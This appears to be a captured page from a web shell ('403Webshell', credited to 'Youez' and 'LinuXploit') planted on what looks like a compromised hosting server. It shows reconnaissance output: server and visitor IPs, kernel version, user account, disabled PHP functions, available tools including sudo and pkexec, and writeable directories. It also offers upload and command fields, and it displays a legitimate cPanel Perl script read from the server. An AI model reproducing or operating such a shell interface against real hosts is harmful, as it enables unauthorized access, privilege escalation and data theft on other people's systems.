403Webshell
Server IP : 67.43.7.42  /  Your IP : 216.73.216.61
Web Server : Apache
System : Linux host.isabellascookies.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : isabella ( 503)
PHP Version : 5.5.38
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /scripts/rebuild_available_rpm_addons_cache
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/rebuild_available_rpm_addons_cache Copyright 2017 cPanel, Inc.
#                                                           All rights Reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

use Whostmgr::Cpaddon::RPMSupport               ();
use Whostmgr::Cpaddon::RPMAddonCacheFileManager ();

exit run(@ARGV) unless caller;

sub run {
    my @args = @_;
    @args = grep { !/--verbose/ } @args;    # compatibility with deleted clear_cpaddon_ui_caches script
    _die_usage() if @args;

    my $available_rpms = Whostmgr::Cpaddon::RPMSupport::get_available_addons();

    Whostmgr::Cpaddon::RPMAddonCacheFileManager->save($available_rpms);

    return 0;
}

sub _die_usage {
    die <<EOU;
usage: $0

Rebuild the available RPM-based cPAddons cache at /var/cpanel/available_rpm_addons.cache
EOU
}

Youez - 2016 - github.com/yon3zu
LinuXploit